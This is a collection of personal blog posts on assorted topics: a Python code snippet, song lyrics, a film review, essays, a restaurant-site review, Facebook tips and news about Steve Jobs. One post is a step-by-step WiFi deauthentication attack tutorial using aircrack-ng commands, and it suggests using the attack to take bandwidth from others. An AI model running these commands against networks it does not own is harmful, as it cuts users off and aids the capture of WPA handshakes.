    print "\nThanks for using the Python periodic table search engine!"
    exit(1)

end() is a user defined function.

The following code is inside a Try..catch block. Try… catch block is used for exception handling, but we will focus on the code inside that for now.

try:
            if type(float(decision)) == float:
                decision = float(decision)
                sym =  invatomicmass[decision]
                print "The element with the mass",decision, "is %s, and is abbreviated as %s." % (inv_symbols[sym],sym)

        except ValueError,KeyError:
            pass

        finally:
            pass

float(decision) is used for type casting variable ‘decision’. type() function returns variable’s type.
Rest of the code is pretty much self explanatory. I urge you to figure some stuff out yourself.

I’ve found that learning by writing your own code and by studying already written code is the best method to learn programming.

I will be posting some more example programs of Python here soon.
Comments appreciated

I recently came across a web app called ‘FunnyStatus‘ which allows you to post status messages to Facebook. The funny part is that in status’s “posted via” field you can select funny application names like iPhone 5, iPad, Nasa Satellite and even Toilet.

Here is the application in action:

Spoof Facebook Applications in Status

Here’s the application page: http://www.facebook.com/viaFunnyStatus

It’s just another useless Facebook application, but it’s fun anyway (and now you don’t need an iPad to post via ‘iPad”).

Let me say it all, While I’m still sober.
What we started is not yet over.
Forget the thorns, remember the flowers.

If we believed what we had was strong;
why we cared about not to put a foot wrong?
I still feel that we do belong;
Couldn’t say it to you, so writing this song!

Let me say it all, While I’m still sober.
What we started is not yet over.
Forget the thorns, remember the flowers.

Without you, life is black and white;
Come back and make it right.
Together we will have a future bright;
Let be the love, our guiding light.
Your name and mine, will be in history;
The power of feelings, isn’t a mystery.

Let me say it all, While I’m still sober.
What we started is not yet over.
Forget the thorns, remember the flowers.
Be mine, and the world is ours!

Google has just announced the release of SDK for Android 4.0 Ice Cream Sandwich available straight from the Android Developers site, which you can find by clicking here.

Android 4.0 is a major platform release that adds a variety of new features for users and app developers. Besides all the new features and APIs discussed below, Android 4.0 is an important platform release because it brings the extensive set of APIs and Holographic themes from Android 3.x to smaller screens. As an app developer, you now have a single platform and unified API framework that enables you to develop and publish your application with a single APK that provides an optimized user experience for handsets, tablets, and more, when running the same version of Android—Android 4.0 (API level 14) or greater.

Alternative Energy? - Pika Pika Power!

Inspired by Hullap’s web-comic (http://hullap.com/blog/2008/a-comic/). It’s high resolution so you can use it as a wallpaper, though I can’t imagine anyone doing so! Your Choice!

Like and Comment for more :p

“If you get one shot, make it real. – Real Steel”

“When you feel weak, you feel like you just wanna just give up

but you gotta search within you, try and find that inner strength

And just pull that shit out of you, and get that motivation not to give up

And not be a quitter no matter how bad you wanna just fall flat on your face.” – Eminem

Real Steel - Rotten Tomatoes

Real Steel

Set in the near future, where robot boxing is a top sport, a struggling promoter feels he’s found a champion in a discarded robot. During his hopeful rise to the top, he discovers he has an 11-year-old son who wants to know his father.

IMDB Rating – 7.5 / Rotten Tomatoes Rating – 5.9/10 / MY RATING :- 4/5

This month from Walt Disney Pictures and Shawn Levy (also the Director of Date Night, Night at the Museum, The Rocker) comes an action movie – Real Steel and proves the Shawn Levy is master of many trades. Shawn Levy is known for making Romance Comedies. His “The Rocker” was my favorite one, until I saw Real Steel. It’s a story about a guy abandoning his son when he wasn’t even born and then reconnecting with him 11 years later. It’s about a kid’s love for a Robot he scavenged from garbage. It’s about giant robots kicking each others goddamn-iron-asses.

The movie is epic, it is on acme of epicness, in fact it’s epic on so many levels that it redefines epicness. :-p

The Tech Side: The movie is set in 2030 where remote controlled humanoid-robots fight for pleasure of mankind. It’s Rocky Balboa Meets Iron-Man. The movie is about the robots but they’ve put some great attention to details on other technologies. Hugh Jackman uses a mobile, laptop and remote control which is fully transparent. The gadgets are great. Talking about the robots, they look real enough specially the HERO of the movie – ATOM. It is mentioned in the movie that ATOM is an old robot, built in 2014. 3 years from now? WAH! I can’t wait :p

The Human Side : Aside from kick-ass robots, this movie is about Hugh Jackman reconnecting with his son and realizing that abandoning is a sign of cowardice. The love and trust of a four year old for a Robot he built and trained, his will to fight to save his father’s ass…. Emotions through experiences is Shawn Levy’s signature style which we see again in this movie. We can actually relate to one character or another in this movie. There are some really lighthearted funny moments in the movie like when Hugh jackman’s 11 year old son asks Jackman- “You Sold Me?” “Yes!” “OK, give me half the money and I will be outta here.”
If you thought Evangeline Lilly was LOST, well she is back in Real Steel and she’s still smokin’, though she isn’t more than a cheergirl for Jackman and son here.

There is one more good thing in movie – The Soundtrack. Saying it’s awesome is understating it. Two Words – “Eminem ROCKS!”. “Bad Meets Evil – Fastlane” and “Eminem’s Till I Collapse”fills you with adrenaline rush. Other songs are equally great.

There are few lines I wrote in movie-hall inspired by this movie:

To reach the stars, I rose from the dirt;

Thousand punches, and see- I am still not hurt;

Now are you annoyed by my style- happy and pert?

I am the strongest and always will be- I reassert.

Now from this path of glory, you can’t make me sway;

I got the rhythm, you can’t take it away.

You thought I was down, and my hope was gone;

But it was dusk, and I was waiting for the dawn;

Just waiting for a chance to show my brawn,

and it’s the right time cause the war is on.

You just can’t win by the dirty games you play;

I got the rhythm, you can’t take it away.

From the ancient times we are not the masters but the servants. The first recorded king and queen in human history Paco! Narmer and his Queen Nthotep ruled Egypt, way back, around 3150 BC.  When a human master was not enough, we invented a god, a MASTER above all gods. The need of a master comes from our animal instincts. We tamed animals, we are their masters, but what we are? Scientifically speaking we are over-developed apes, we are animals and thus we need a master.

Now when we are more evolved, We don’t believe in a master our ancestors invented. Now we choose our masters. We chose our gods. As children we sleep beneath the images of movie stars, pop-icons and sports-stars and dream about the mystery and grandeur of their lives. For some Sachin Tendulkar is god. For some it’s Steve Jobs / Linus Torvalds (LOL!). We serve them. We drink what they tell us to drink, we live to please them, even when our masters are not watching.  As adults these posters comes off the wall only to be replaced by a steady stream of tabloid culture. We prefer jobs in multinational to serve a master. Even when we start our own enterprise, the first thing we do is put up a big poster with “Client is God” written all over it. What’s more? we are not satisfied with our masters. We love to ‘have’ a master, but we hate our current master. We want to see them fall with the hope that next one will be more benevolent. Before marriage a boy treats a girl like his master. He becomes a servant so good that even dogs envy him. But after marriage..  “Wife is evil” we say.
In todays fast-food life and 2-minute noodles, we can’t have one singles master bossing us around for years. We love to see them fall from their grace. It is much more fun when it is self-inflicted. Nothing beats the good old crucifixion of Jesus Christ. We love to read about scandals in those rags.
I have a theory for our this behavior. The answer lies again in our genes, in our DNA that we want to survive. We have a survival instinct.  We want to survive at any cost. Deep down, we see the existence of superior people – people who are more beautiful and talented than us – as a threat.  When these talented people fuck-up in an enormous way, we can’t help but think that it somehow improves our chances of survival. We feel better than our masters (remember the joy you had when your boss screwed up?). Every animal has this survival instinct, no amount of evolution can suppress it. Quoting the famous words of Chuck Lorre – “Evolution My Ass!”

I think we should do anything we want, be our own masters. We should have a free will.  We haven’t tried that for a while. Maybe this time it’ll work. :-p

May she be happy, be a good mother and keep producing music.
This is a wallpaper of her I designed 5 years ago.

How I became a Hilary Duff fan :

It was the summer of 2005 (not summer of 69), around 6PM in the evening of June (I don’t remember the date). To curb my boredom I was reading an old issue of Comics World (A magazine published  by Diamond Comics – an Indian Comics publisher). On the last page there was this article about a young sensation, topping American Pop-Music charts – Hilary Duff.

In evening I met my friend and neighbor Voldy ( Vijay Panwar ) and asked him about if he’s heard of a singer named Hilary Duff. He showed me a mix-tape which had one song of Hilary Duff in it – “So Yesterday“. I took it home with me and listened it, and that day I became a Hilary Duff lover until August 14, 2010 when Duff and her boyfriend of three years, Mike Comrie got married, I downgraded my title to being just a Hilary Duff fan for life. (Damn! That Comrie!)

My Favorite Hilary Duff’s:

1. Songs:”Fly” and “So Yesterday“
2. Movie: “Raise Your Voice“
3. Album: “Hilary Duff“
4. Novel: Elixir
5. Look:
   

   Hilary Duff at the MuchMusic Video Awards in 2007

More about Hilary Duff :

Hilary Duff’s wikipedia page.

Hilary Duff on last.fm

Hilary Duff on ImDB

Hilary Duff Wallpapers

Hilary Duff’s Facebook Page

Hilary Duff’s Official WebSite.

1.) Successful Compilation : When a program on which I’ve spent more than one hour compiles successfully it gives me immense pleasure. I hate debugging my code. Sometimes I prefer starting from scratch than debugging the code. It’s maybe cause of my messy coding habits like not using code comments and cramming code into one line (to reduce LOC and yes! I use KLOC as an effort matrix).

2.) Sleeping :

Not LOL-Cat - It's sleepy cat!

Who doesn’t feel good after a long nap of 8-10 hours? At times i can even sleep for 20 hours straight. Sleeping is an activity which you can do anyplace.We do it in class, we do it in buses, heck, we sometime do it in the loo too… Zzzzz…

3.) New Releases : Be it softwares/ games or movies – new always feels good. Do you remember how you were up all night when last Harry Potter book was going to release or when you got your hands on that Google+ invite, how much good it felt to finally try something new? New Feels Good, FullStop!

4.) TV shows : How I met your mother, The Big bang Theory, Raising Hope, , Breaking Bad, Mentalist, Glee or Friends. These TV shows create a world of their own. Ever had discussion with a friend that how you are more like Sheldon (Yo! Aditya, you reading this?) or when will Ted finally meet THE GIRL? You know we all debated over it. Watching these shows gives me a temporary escape from my hectic life. Watching them makes me feel good!

5.) Alternative Rock : Yellowcard, Linkin Park, Hoobastank, All American Rejects or Greenday… These are the gods of modern Alt Rock scene. Music soothes my soul, it inspires me. The lyrics have a lesson in each line. Music makes me feel good.

6.) Talking to friends :I am sort of an introvert when it comes to initiating conversations but i love gossiping with my friends. Whoever said men don’t gossip was a fool.  Men do gossip except the topics change rapidly. One minute we are talking about last match between ManU and Chelsea the next we are discussing Demi Moore’s new photos (BTW you gotta check out the photos she posted yesterday on twitter.. it’s booyah!). Talking to friends makes me feel good.

7.) Looking at old pictures :

Leafing through my school yearbook & old family albums & laughing at my hairstyle, posture, dressing & face. Some of it is embarrassing alright; but then, that is how I started & then reached to being who or what I’m today. My personal growth & the journey of finding my own bearings, in this big, big world, fills me with joy & a sense of accomplishment..

8.) Learning something new : Someone told me once “Losers count the days, winners make the days count”. Each day I try to learn something new.  A new word, a new trick to get that buggy software running, a new way to write some code. Sometimes I learn small things, sometimes life teaches me big things. It makes me realize that it’s the journey that matters, not the end. Learning helps me stay ahead, learning keeps me from falling and when I do fall, learning helps me stand up. Learning makes me feel good.

9.) Helping someone or getting help from someone :

When i help someone and he/she shows appreciation, it makes me feel good. Knowing that I matter for someone other than myself makes me feel good. At the same time when someone helps me, it feels good, that they think I’m worth helping.

10.) Discussions with my father : My father is my best friend. I never needed to hide anything from him. We talk everything, from movies to business. Sometimes I just sit there in front of him and he can deduce what i am thinking. We talk about 1 hour on phone daily (which is 95% of my phone time). I am an atheist, but if there is a God, for me, he is in my father. Being with my dad makes me feel good.

What makes you feel good?

Is it really the popular belief? On more than one occasion I’ve heard students complaining about AI and it’s uselessness as a field of computer science.

Is it really a dead-end of a Computer Science field?…

This XKCD says a lot:

and they both react poorly to Showers.

To assess the current state of Artificial Intelligence we need to first define what is Artificial Intelligence?

As my professor of Artificial Intelligence puts it : “Artificial Intelligence is a field of computer science in which we study, how to make computer do things which at the moment, humans do better”.

As the definition suggests, this covers a broad number of topics from Natural Language Processing to Computer vision.

To properly study A.I. Computer scientists divided things or tasks humans are good at into three task domains :

1) Mundane or simple tasks
- Perception (vision, speech, smell)
- Natural Language (translation)
- Robot Control

2) Formal tasks or tasks with moderate difficulty
- Games (Chess)
- Mathematics (Geometry)
3) Expert Tasks or difficult tasks
- Medical Diagnosis
- Engineering (Design)

Initially scientists thought that since a Child learns simple tasks first then moves on to learn more difficult task, it will be easy to make computers to mundane tasks, like sound recognition or NLP. Turns out these tasks are much more complex than formal tasks like Designing, Predicting a pattern or Medical Diagnosis.

Current Applications of AI includes :

1.) Game Playing : When you play Chess or any game  (Assassins Creed counts too) against a computer, it involves a fair amount of AI but computers play well against humans mainly via brute force computation methods–searching for thousands of moves and selecting the best one according to the criteria programmed. In my opinion that’s not really AI.

2.) Speech Recognition : It was touted to be the next big thing 90s, now we know it is just an EPIC FAIL! The  sorry state of speech recognition is proven by the fact that you can type faster using just your left hand than you would if you use a Speech to Text software. It is still used in mobiles and other such gadgets to give simple voice commands. It has reached a practical level for limited purposes.

3.) Computer Vision : Microsoft’s Kinect anyone?

Microsoft's Kinect - A breakthrough in AI

Kinect is a real breakthrough in computer vision and real world object tracking (Kinect’s AI breakthrough explained ). Kinect is a motion sensing input device which looks like a cheap web-cam but employs a range of camera technologies which interprets 3D scene information from a continuously-projected infrared structured light.

4.) Understanding natural language : Currently if you want to give instructions to computer, you need to write computer programs in a specific specialized programming language like Assembly, C or Java (or any other). Computers are bad in understanding language which we humans speak. Google is working on projects in this area.

there are many more applications of AI. Companies like IBM with their Watson and Google with their gazillion projects are major players in this field.

IBM collaborating with American universities have developed a Computer Chip which is being hailed as a move towards “cognitive computing”.The chip contains 256 neurons, connected to each other in a way that mimics patterns of human brain. Now this is nowhere as efficient and powerful as human brain which has billions of neurons, but this is a step.

So the Big Question :

Is there a promising career in Artificial Intelligence?

Unfortunately, the answer is no. At least not in India. Though there’s a lot of demand for the techniques that someone competent in AI should know. A lot of these techniques are more appropriately classified as machine learning, but there’s a lot of overlap between these fields, so much so that sometimes machine learning is considered a subfield of AI (and I would assert that all those people are wrong, but hey, that’s just me). Machine learning has easy applications in e-commerce and data management, which together covers a huge swathe of the economy.

For those who do want to work in real “ARTIFICIAL INTELLIGENCE” related field but not research in AI, You may still be able to find a job doing “AI” for a game company, but it’s most likely going to be 90% programming other stuff, 5% looking up AI that could be applied to the game and 5% trying to implement it. In order to do real, interesting AI work, you’re more-or-less looking at university work / research work, no escaping it :p .

You first have to decide which “field” or “camps” in AI you’re going to join. At this point, if you’re not knowledgeable enough to make that decision, I would highly recommend taking AI classes that expose you to all different kinds of AI. There’s three main “camps” in AI:

1. Math-based: Simulate the intelligence and patterns of the human brain using complex, finely tuned algorithms, e.g. expert systems.
2. Statistics-based: By collecting enough data (knowledge) about one particular type of event you can predict the occurrence of that event. This is used in stock-market and has other financial / sports applications.
3. Biological-based: Simulate nature and the human brain in the computer, e.g., evolutionary computation.

Each major camp breaks down into even smaller specialized camps. There’s currently a huge disagreement among Researchers about which major approach is the correct approach. Researchers even within the same major camp often disagree with each other. Here’s my personal take on each camp:

1. The math-based approach was the first major approach pioneered by MIT beginning in the 50′s and 60′s. MIT promised all kinds of great things coming from this approach and everyone got really excited about AI in the 60′s. Money flooded in to fund the research projects. Then… nothing came out of it. Everyone was disappointed. AI fell on the back burner. Thanks, MIT! This approach has produced some interesting intelligent machines (e.g. Deep Blue, IBM’s Watson), but they won’t ever be able to produce real general intelligence.
2. The problem with the statistics-based approach is that it requires large amount of data beforehand. This is great for domains where there’s plenty of data from the past available, e.g. finance and sports, but what about domains where there’s no data available? We can’t just send 5,000 robots into space to crash and explode on Mars until we finally have enough data to predict how the robot needs to behave on Mars. Right?
3. The biological-based approach is what makes the most sense to me. If natural processes, e.g. natural evolution, produced human-level intelligence, then simulating those processes in the computer should eventually be able to produce the same level of intelligence. The problem with this approach is that the results are often unpredictable and even their own creators have difficulty understanding how and why said result came to be.

Don’t just take my opinion as fact though. I’m sure many people will disagree with me. The best thing you can do is expose yourself to all the AI concepts you can and make the decision for yourself.

Here are some Artificial Intelligence resources you can follow to better understand AI concepts (I will add more later, so do check back):
1.) Stanford University’s Free AI-Class : It is a free online intro to AI course. It starts in October 2011 and is ran by Stanford professor Peter Norvig who wrote one of the best text books on AI and algorithms.

2.) Free eBooks on Artificial Intelligence.

Good Luck guys, and remember contrary to popular saying among students – Artificial Intelligence won’t short circuit your natural Intelligence!

Finding the best places to eat is not easy. I have tried many restaurants. Sometimes I enter a restaurant intrigued by its name only to find out that the menu has nothing special. And once you get in, it’s not like you can just get a glass of water and come out. You must eat something. Finding a best place to eat is not easy – but Zomato makes it easy.

“Zomato.com : Discover more places to eat in your city” is a lifestyle web-portal which according to its tagline helps users to find different locations to eat/dine in their area of choice. Zomato (Previously known as Foodiebay) was started by Deepinder Goyal, a graduate from IIT Delhi. The Zomato portal is basically divided into three sections

1. Restaurant Guide
2. Events
3. Crunch.

Restaurant Guide provides information not only about location of restaurants in your area but the Menu-card also. Yes! We can check-out the menu of restaurant from the comfort of our home. It’s so easy to compare menus and select the best restaurant according to your mood and budget, Zomato is really a time-saver.  Finding restaurants is easy.

Zomato’s restaurant guide currently serves Ten major cities in India – Mumbai, Delhi NCR, Kolkata, Bangalore, Pune, Chennai, Hyderabad, Ahmadabad ,Jaipur & Chandigarh.

Finding a restaurant is very easy. Just select your city from top bar, select your mood (you wanna get food delivered to your place or you wanna dine-out?), select your location and type of cuisine (From Afghani to Vietnamese). Click Explore.

Search Zomato

The number of restaurants in Zomato’s database is overwhelming. I searched for restaurants in Malviya Nagar area of Jaipur (which I often visit) and it returned a whopping 97 results for that area (I didn’t even know there were THAT many places to eat there).

Malviya Nagar- Zomato search result

Moreover there were some budget as well as some premium restaurants, so no matter what your pocket size is, you are going to find a restaurant which suits you.

As a user you can read and write reviews of restaurants and rate them on a scale of 5 stars.

Zomato recently launched events section on the portal which currently serves only four cities – Delhi NCR, Mumbai, Pune and Bangalore for now. It lists various lifestyle events (Arts, Concerts, Fashion etc) happening in your city.

Crunch section is like a Life-style eMagazine, showcasing cool cooking recipes, featured restaurants, reviews and news from Zomato.

Zomato also has dedicated iPhone/ Android / Blackberry apps for those who are always on the go! These apps are simple, elegant and fast – just the way an app should be.

3 things I really like about Zomato :

1.) Ease of use : My friend’s 13 year old brother to my 80 year young grandfather, everyone can search and view menus of their favorite restaurants using Zomato. It’s THAT easy.

2.) Searching Options: Not only I can search restaurants / dining places by their search location, but also the cuisines and dishes they serve. No longer I have to hunt for a restaurant which serves Matar Pulaav because that’s the only thing I wanna have for dinner. I can just look up the info on Zomato.

3.) More than a menu-card database: The newly launched Events section takes Zomato closer to being a complete life-style portal. It keeps track of hip events happening in my city for me. Arts and Dance, Food and Drinks, Music, theater, there is something for everyone.

3 things Zomato could improve upon:

1.) More cities : I stay in Jaipur (thankfully Zomato has Restaurant Guide for Jaipur) for studies. I would love to be able to see Menus of Restaurants from other smaller cities like Indore, Nagpur, Chandigarh etc. I know as Zomato is growing, this may take some time, I just hope that Zomato team realizes that Market potential of smaller cities.

2.) User Contribution : Giving the users ability to upload menus and add events can help tremendously in Zomato’s growth. This may prove challenging at first as verifying thousands of menus each day is not easy, but appointing trusted users as moderators can help in that way. It’s just my opinion but I believe Zomato management is already working on site’s upgrade and expansion, so let’s just wait and see.

3.) Event Reminders : This is more like an idea we should really implement. It would be great if a user has the option of subscribing to events of a particular city by SMSs and Emails. So any new event notification will directly get delivered to user. We can also integrate event calendar with Google calendar or other such calender applications.

I believe Zomato has just started and it will go a long way and become a complete lifestyle portal.

It’s one of those web-services which make life a little simpler, don’t you think?

Facebook Timeline : Status Posting

Facebook Timeline: Friends and Likes

and finally the Full Page View:

Facebook Timeline : Full Page

This feature is only available to facebook developers for now (You need to be in developer mode). But there is a trick we can use to get an invite for it in 9 simple steps :
1. We go to our facebook page and log in.

2. Now we enable developer mode (If you are already a Facebook app developer – skip this), for this, type “developer” into the Facebook search box, click the first result (developer app), and add the app.

3. Go to developer app (usually Facebook it opens by itself when you add it).

4. Create a new app. Give your new app any display name and a unique namespace you see fit. Read and Agree to Privacy statement.

5. Make sure that you’re in your new app’s main settings screen. You should see your app’s name near the top of the page

6. Look for the “Open Graph” in Left Sidebar, and click the “Get Started using open graph” link.

Create a test action for your app, like “read” a “book”, or “eat” a “sandwich”

7. This should take you to an action type configuration page. click through all three pages of settings (Next Next Next.)

8. Wait couple of seconds

9. Go back to your Facebook Home-Page. An invite to try Timeline should be waiting at the top of the page

____________________________________
You can follow above given procedure to get the timeline now or you can wait few weeks.
After getting the timeline, you will have the option to edit and publish it right then else your timeline will go public in a week.

Just after trying this feature for an hour or so, I’m simply in love with it. Facebook just did something innovative. Do try out and leave comments. Did you like it?

First a little bit of info on what De-authentication is:

It is an attack through which we send disassociation packets to computers/devices connected to a particular WiFi access point. This will disconnect all connected computers from that access point (It won’t work if there are no associated wireless client or on fake authentications).

This attack is usually used for following purposes:

• Recovering a hidden ESSID. This is an ESSID which is not being broadcast. Another term for this is “cloaked”.
• Capturing WPA/WPA2 handshakes by forcing clients to re-authenticate
• Generate ARP requests (Windows clients sometimes flush their ARP cache when disconnected)

If those three point don’t make any sense, in simple words, this attack disconnects computers from an access point so you can have all WiFi bandwidth for yourself :p

Some people have asked me that how come DeAuthentication attack works on clients which are connected to Access Point using encrypted connection (WEP/WPA)? The answer is that 802.11b/a/n/g management frames, special packets used to establish and maintain communications, are all sent unencrypted. These include:

• Authentication
• De-authentication
• Association request
• Association response
• Re-association request
• Re-association response
• Probe request
• Probe response
• Beacon

Here we are only interested in De-Authentication.

In this tutorial we will learn how to perform this attack in FIVE simple steps (for research purposes only).

So lets begin:

I am posting this method for Linux but I suppose this will work on Windows too.

FIRST: You will need aircrack-ng. The method of installing it is different for every Linux distribution. In Ubuntu you can install it by issuing following command in terminal window:

sudo apt-get install aircrack-ng

SECOND: After installing it we need to find out if our network adapter is detected by system or not.

Issue following command in terminal window to get a list of detected adapters:

sudo airmon-ng

This will show an output like this:

Skynet@Ashwin-pc:~$ sudo airmon-ng 

Interface       Chipset         Driver

wlan0           Intel 965CDX   iwl3965 - [phy0]

It may show other adapters like eth0, eth1 and so on, but we need only wlan0 (e.i. the Wireless Adapter).

THIRD: Now we need to put our Wireless card to monitor mode, issue following command in terminal window:

sudo airmon-ng start wlan0

which will show a message “monitor mode enabled on mon0″, where mon0 is a new interface which we will use for monitoring.

FOURTH: Now we need to find out which networks are available from our location. Make sure you are as close to your desired access point as possible and issue this command in terminal:

sudo airodump-ng mon0

Note down the BSSID (MAC address) of your access point.

FIFTH: The final step! Issue following command in terminal:

sudo aireplay-ng -0 0 -a 00:AB:6C:CD:40:70 -c mon0

Where,

-0 is for deAuthentication.

0  (zero) is for continuously sending deAuthentication packets.

-a 00:AB:6C:CD:40:70 is the BSSID of your network. (Replace 00:AB:6C:CD:40:70 with your network’s BSSID).

mon0 is the monitor interface we created earlier.

We will get an output like this:

20:10:02  Sending DeAuth to broadcast -- BSSID: [00:AB:6C:CD:40:70]
20:10:02  Sending DeAuth to broadcast -- BSSID: [00:AB:6C:CD:40:70]
20:10:03  Sending DeAuth to broadcast -- BSSID: [00:AB:6C:CD:40:70]
20:10:03  Sending DeAuth to broadcast -- BSSID: [00:AB:6C:CD:40:70]

This means our deAuthentication attack is successful.

Enjoy!

This is a song I wrote long time ago, during my Graduation. I was new to songwriting that time (and things haven’t improved that much). Here is the song in it’s originality. Do let me know how it is!

"Desire"

You are that ‘live’ wire,
Which sets my soul on fire!

I hope I can hold you within my attire,
Since you are my sole desire!

When I see you, my blood starts to rush,
What can I do? You are my big ‘crush’!

Just to hear you, I make everyone ‘hush’,
When you see me, do you really blush?

No second thoughts, no hesitation,
From now on, you are my anticipation.

Without you, I see only frustration,
Which is why, I say, you are my final destination.

Together we can reach a sky higher,
I know you are my sole desire!

You are my heart, you are my soul,
In this lonely world, you are my only hope.

Without you, life is impossible to cope,
As it makes me feel like hanging on a rope.

You are my admiration, you are my passion,
You are my destiny, you are my inspiration.

You are the reason why I do respire,
Since you are my sole desire.

Like this page, if you like my song. Spread the word if you think my work is worth it. Tell me if it needs improvement. Contact me if you are also an aspiring song-writer, I would love to get in touch. Feel free to comment here.

Until next time. Adios Amigos!

Steve Jobs Resign

August 24, 2011 

Letter from Steve Jobs

To the Apple Board of Directors and the Apple Community:
I have always said if there ever came a day when I could no longer meet my duties and expectations as Apple’s CEO, I would be the first to let you know. Unfortunately, that day has come.
I hereby resign as CEO of Apple. I would like to serve, if the Board sees fit, as Chairman of the Board, director and Apple employee.
As far as my successor goes, I strongly recommend that we execute our succession plan and name Tim Cook as CEO of Apple.
I believe Apple’s brightest and most innovative days are ahead of it. And I look forward to watching and contributing to its success in a new role.
I have made some of the best friends of my life at Apple, and I thank you all for the many years of being able to work alongside you.
Steve
- SOURCE.

Steve Jobs resigned as Apple CEO on Wednesday afternoon. This particular news comes as a shock to me considering Apple is the one of the top IT/Tech companies in the world (of course it is) and in my opinion it is Steve Jobs who made it what it is today. As evident from letter, he cited – “no longer being able to fully handle the responsibilities of the job” as his reason for stepping down, which I think is BullCrap. Considering Jobs earned only $1 a year as CEO of Apple I won’t be surprised to find out that there are other reasons of him leaving. Tim Cook, previously Apple’s Chief Operating Officer, will be replacing Steve Jobs as company’s new CEO. Apple’s shares dropped 5% in after-hour trading after this news (not surprisingly!).

 Steven Paul “Steve” Jobs (born February 24, 1955) and Steve Wozniak co-founded Apple on April 1, 1976 in Cupertino, California and incorporated in January 3, 1977. He had to leave Apple in May 1985 only to rejoin in 1996.
If we study Apple’s history we will see that the period of 1986 to 1997 was black-ages for Apple. Apple started to get back on its feet in 1998 with the release of iMac, and now 13 years after that it’s back to being numero Uno Computer Manufacturer. Steve Jobs made apple what it is.

Tim Cook and Steve Jobs

Timothy D. “Tim” Cook the new CEO (born in November 1, 1960 and let me clarify, He is not related to Monkey D. Luffy in any way) was previously responsible for all of the company’s worldwide sales and operations, including end-to-end management of Apple’s supply chain, sales activities, and service and support in all markets and countries. He also headed Apple’s Macintosh division and played a key role in the continued development of strategic reseller and supplier relationships, ensuring flexibility in response to an increasingly demanding marketplace.

Welcome Apple's new CEO - Tim Cook

The CEO experience is not new for Cook. Cook served as Apple CEO for two months in 2004, when Jobs was recovering from pancreatic cancer surgery. In 2009, Cook again served as Apple CEO for several months while Jobs took a leave of absence for a liver transplant.
I think Apple is going to rise more and Steve Jobs realizes that he doesn’t need to be in the spotlight anymore, he will still be in Apple as Chairman of the Board and now he can concentrate more on his health (I hope he gets better soon).

Steve Jobs on 26 August, 2011.

Let’s see what the future holds for Apple.

Regret for wasted time is more wasted time. – Mason Cooley

Have you ever found yourself lost in a crowd? Cursing yourself, about the lack of inspiration you are feeling lately? I did too.

I spent past 3 days sulking, blaming the universe for being against me and practically doing nothing but sit around on my butt. It’s one of those times when you are extra moody and annoyed with every little good or bad thing. The lack of inspiration makes you think there is something seriously wrong with either you or the world and you feel the world is at fault more. “I am good, I’m a perfect son, a brilliant student, a caring friend and an overall nice guy, why I have to deal with shit, when the world is enjoying out there”. You spend more time thinking about how your problems affect you, when you should be solving them. And then you suddenly wake up from this slumber, figuring out to get back on your feet like I am trying.

The power is inside you!

I got a call from my dad last night. We talked like usual and at the end of the call, he said – be happy. He always says that, but this time he gave a little more emphasis on it. Like he realized that I was going through a rough patch. 2 words – “be happy”, they don’t sound much but if you read that carefully, those two words contain whole world’s wisdom.

The words don’t mean that you should always be smiling  to the world and be gloomy inside. It means that you need to put effort in being happy. If something annoys you, instead of ignoring it, you should deal with it.

In my search for wisdom I came across this inspirational video of Carnegie Mellon University professor, Dr. Randy Pausch (Oct. 23, 1960 – July 25, 2008), titled “The Last Lecture” or “Really Achieving Your Childhood Dreams.”

Dr. Randy Pausch talked about how to live life and how you can achieve your dreams by just trying. Don’t complain, Just work harder. We all have finite time on our hands, we can spend it either complaining or playing the game hard. If you succeed in first try, that’s good, if not, it’s better. Failure is just another brick wall, waiting to be demolished by your sheer strength of passion. As Ralph Waldo Emerson once said: Every artist was first an amateur.
Energy cannot be created or destroyed; it can only be changed from one form to another, so either we can channel our energy to form dreams or we can waste it on complaining and form a state of despair.

Analyzing myself, I found there are three reasons behind lack of inspiration which are lack of – 1. Confidence,  2. Focus and 3. Direction.

To boost your confidence be ready to try new ideas. The more you apply your brain, the more you will be confident in your abilities to solve problems. Have no fear of failure. As Michael Jordan said :

“I’ve missed more than 9000 shots in my career. I’ve lost almost 300 games. 26 times, I’ve been trusted to take the game winning shot and missed. I’ve failed over and over and over again in my life. And that is why I succeed.”

So take a shot. You are missing 100% of the shots you are not taking. Focus on what you have rather than what you want. Focus on the result and put all your energy on a single task.

I know sometimes we need a quick dose of inspiration just to jump that one last hurdle. So here is 8 things you can do to get an extra boost of inspiration.

1.) Search YouTube for inspirational videos – there are countless of them there. Search the terms – ‘inspirational speech’, ‘increase willpower’ or ‘how to win’ and see yourself.

2.) There are some really inspirational podcasts out there. Listen to them. I suggest : “The Moth Podcast” or  “Inspiring Words of Encouragement by Zig Zigler“.

3.) Read books. Not just motivational books, but any fiction or non-fiction book. Books introduce you to new ideas.Learning new ideas puts your brain in motion, so it requires less time to speed up to your tasks.

4.) Make a list of all the positive things about your current project. Focus on why you should do it. Read this list each day and update it if you feel like it.

5.) Work for 5 minutes : Tell yourself to work for five minutes. That’s just enough to get you started. It works almost every time. The perfect example is this blog post, I just wanted to write 10 lines, now half hour later, I’m about to finish it.

6.) Talk to your family : Talk to your loved ones. Tell them about how you are feeling. They may know a solution to your problem.

7.) Get out of the bubble :- If you’re in a bubble, you desperately need to get out. You’re missing out on a thrilling adventure. What is a bubble? Essentially, it’s staying in your comfort zone. And no, your eating Maggi, day and night doesn’t cut it or make it any better.

8.) Inspire Others : If you spend time inspiring others, that means you are inspiring yourself too and that’s what I’m trying to do here. It’s a feeling which you can not describe in words. If you have said inspiring words to anyone, you know what I’m talking about.

In the end I want to close this article with my dad’s simple words :

Your biggest source of inspiration is YOU!

Google is indeed planning to shut down Google Labs project as evident from their Last week’s blog post on Official Google Blog. Post titled : More wood behind fewer arrows. Bill Coughran, SVP for Research and Systems Infrastructure at google wrote:

Last week we explained that we’re prioritizing our product efforts. As part of that process, we’ve decided to wind down Google Labs. While we’ve learned a huge amount by launching very early prototypes in Labs, we believe that greater focus is crucial if we’re to make the most of the extraordinary opportunities ahead.

In many cases, this will mean ending Labs experiments—in others we’ll incorporate Labs products and technologies into different product areas. And many of the Labs products that are Android apps today will continue to be available on Android Market. We’ll update you on our progress via the Google Labs website.

We’ll continue to push speed and innovation—the driving forces behind Google Labs—across all our products, as the early launch of the Google+ field trial last month showed.

For those who are new to the term Google Labs – According to official Labs FAQ:

Google Labs is a playground where our more adventurous users can play around with prototypes of some of our wild and crazy ideas and offer feedback directly to the engineers who developed them.

In simpler words at Google Labs you can download and test upcoming Google Products or Google services which are under development!

